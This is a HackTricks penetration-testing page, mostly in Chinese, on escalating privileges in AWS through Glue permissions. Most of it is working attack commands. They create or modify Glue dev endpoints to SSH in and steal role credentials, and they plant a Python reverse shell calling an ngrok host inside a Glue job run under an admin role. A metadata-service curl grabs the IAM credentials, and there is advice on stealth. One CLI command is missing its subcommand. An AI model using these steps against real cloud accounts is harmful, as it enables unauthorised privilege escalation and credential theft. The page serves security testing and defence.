AWS - Glue Privesc

支持 HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

拥有这些权限的用户可以设置一个新的 AWS Glue 开发端点将一个现有的可由 Glue 假设的服务角色与特定权限分配给该端点。

设置完成后,攻击者可以 SSH 进入端点的实例,并窃取分配角色的 IAM 凭证:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

出于隐蔽目的,建议使用来自 Glue 虚拟机的 IAM 凭证。

潜在影响: 提升到指定的 Glue 服务角色。

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

拥有此权限的用户可以更改现有 Glue 开发端点的 SSH 密钥,从而启用对其的 SSH 访问。这允许攻击者以端点附加角色的权限执行命令:

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

潜在影响: 提升到所使用的 Glue 服务角色。

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

具有 iam:PassRole 权限的用户,结合 glue:CreateJobglue:UpdateJob,以及 glue:StartJobRunglue:CreateTrigger,可以 创建或更新 AWS Glue 作业,附加任何 Glue 服务账户,并启动作业的执行。该作业的功能包括运行任意 Python 代码,这可以被利用来建立反向 shell。然后可以利用这个反向 shell 来提取附加到 Glue 作业的 IAM 凭证,导致基于该角色权限的潜在未经授权的访问或操作:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

潜在影响: 提升到指定的 glue 服务角色。

glue:UpdateJob

仅凭更新权限,攻击者可以窃取已附加角色的 IAM 凭证。

潜在影响: 提升到附加的 glue 服务角色。

参考文献

支持 HackTricks

Last updated